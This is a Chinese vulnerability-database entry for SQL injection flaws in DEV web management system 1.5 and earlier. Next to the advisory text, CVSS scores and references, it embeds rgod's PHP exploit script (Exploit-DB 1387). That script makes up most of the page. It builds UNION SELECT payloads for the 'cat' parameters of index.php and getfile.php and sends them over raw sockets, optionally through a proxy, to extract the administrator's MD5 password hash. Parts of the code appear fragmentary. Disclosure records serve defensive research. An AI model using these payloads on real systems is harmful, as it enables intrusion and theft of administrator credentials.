发布时间 :2005-12-28 06:03:00
修订时间 :2008-09-05 16:57:10

[原文]Multiple SQL injection vulnerabilities in DEV web management system 1.5 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) cat parameter in an openforum action (openforum.php) in index.php, (2) cat parameter in getfile.php, and (3) target parameter in download_now.php.

[CNNVD]Dev Web Management System多个SQL注入漏洞(CNNVD-200512-594)

        DEV web management system 1.5及更早版本存在多个SQL注入漏洞,远程攻击者可以通过(1)index.php中的openforum操作(openforum.php)的cat参数,(2)getfile.php的cat参数和(3)download_now.php中的target参数来执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BID  16063
(UNKNOWN)  BUGTRAQ  20051224 Dev web management system <= 1.5 SQL injection / cross site scripting
(UNKNOWN)  XF  dev-openforum-sql-injection(23898)

- 漏洞信息

Dev Web Management System多个SQL注入漏洞
高危 SQL注入
2005-12-28 00:00:00 2005-12-28 00:00:00
        DEV web management system 1.5及更早版本存在多个SQL注入漏洞,远程攻击者可以通过(1)index.php中的openforum操作(openforum.php)的cat参数,(2)getfile.php的cat参数和(3)download_now.php中的target参数来执行任意SQL命令。

- 公告与补丁


- 漏洞信息 (1387)

Dev Web Management System <= 1.5 (cat) Remote SQL Injection Exploit (EDBID:1387)
php webapps
2005-12-24 Verified
0 rgod
N/A [点击下载]
#  ---Dev_15_sql_xpl.php                                     9.54 24/12/2005   #
#                                                                              #
#     Dev <=1.5 'cat' SQL injection / admin MD5 password hash disclosure       #
#                              coded by rgod                                   #
#                    site:                          #
#                                                                              #
#  -> this works regardless of magic_quotes_gpc setting                        #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Prohibit the taking of omens, and do away with  superstitious     #
#  doubts. Then, until death itself comes, no calamity need be feared."        #

ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********* Dev <=1.5 \'cat\' SQL injection **************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********* Dev <=1.5 \'cat\'  SQL injection **************</p><p class="Stile6">a
script  by  rgod  at        <a href=""target="_blank"></a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname  (
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/dev/  or  just  / ) </span> </p> <p> <input type="text" name="prefix">    <span
class="Stile5">Specify a table prefix (default: no table prefix) </span> </p><p>
<input type="text" name="port"><span class="Stile5">specify a port other than 80
default  value )</span> </p> <p> <input  type="text"  name="proxy">        <span
class="Stile5">send  exploit through an  HTTP proxy (ip:port)  </span> </p>  <p>
<input type="submit" name="Submit" value="go!"></p></form> </td>   </tr></table>

function show($headeri)
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
if ($ji==16) {
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
            echo "</tr><tr>";
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
echo "</tr></table>";
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		     $result = socket_connect($socket, $host, $port);

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";

function sendpacketii($packet)
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    if (!$ock) { echo 'No response from proxy...';
if ($proxy=='')

    while (!feof($ock))
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
echo nl2br(htmlentities($html));

function is_hash($hash)
 if (ereg("^[a-z0-9]{32}",trim($hash))) {return true;}
 else {return false;}


if (($host<>'') and ($path<>''))
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

  #STEP 1 -> vulnerability in openforum.php (array of chars is 'admin_password' string encoded'
  #to bypass magic quotes
  $SQL="-1 UNION SELECT value,value,value from ".$prefix."variables1 where name=CHAR(97,100";
  $packet="GET ".$p."index.php?session=0&action=openforum&cat=".$SQL." HTTP/1.1\r\n";
  $packet.="User-Agent: Aplix_SANYO_browser/1.x (Japanese)\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $temp=explode('>Board theme: "',$html);
  if (is_hash($HASH))
   {echo "HASH ->".htmlentities($HASH)."<BR>";die("Exploit Succeeded...");}
   {echo "Step 1 failed... trying step 2...<br>";}

  #STEP 2 -> if STEP 1 failed, vulnerability in getfile.php... this works with magic_quotes off
  $SQL="'UNION SELECT value,value FROM ".$prefix."variables1 WHERE name='admin_password'/*";
  $packet="GET ".$p."getfile.php?cat=".$SQL." HTTP/1.1\r\n";
  $packet.="User-Agent: Python-urllib/2.0a1, maybe ;)\r\n";
  $packet.="Accept: text/plain\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  $temp=explode('Content-Type: ',$html);
  if (is_hash($HASH))
   {echo "HASH ->".htmlentities($HASH)."<BR>Exploit Succeeded...";}
   {echo "Exploit failed...";}

# [2005-12-24]

- 漏洞信息

DEV web management system openforum.php cat Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

DEV web management system contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the openforum.php script not properly sanitizing user-supplied input to the 'cat' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2005-12-24 Unknow
2005-12-24 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者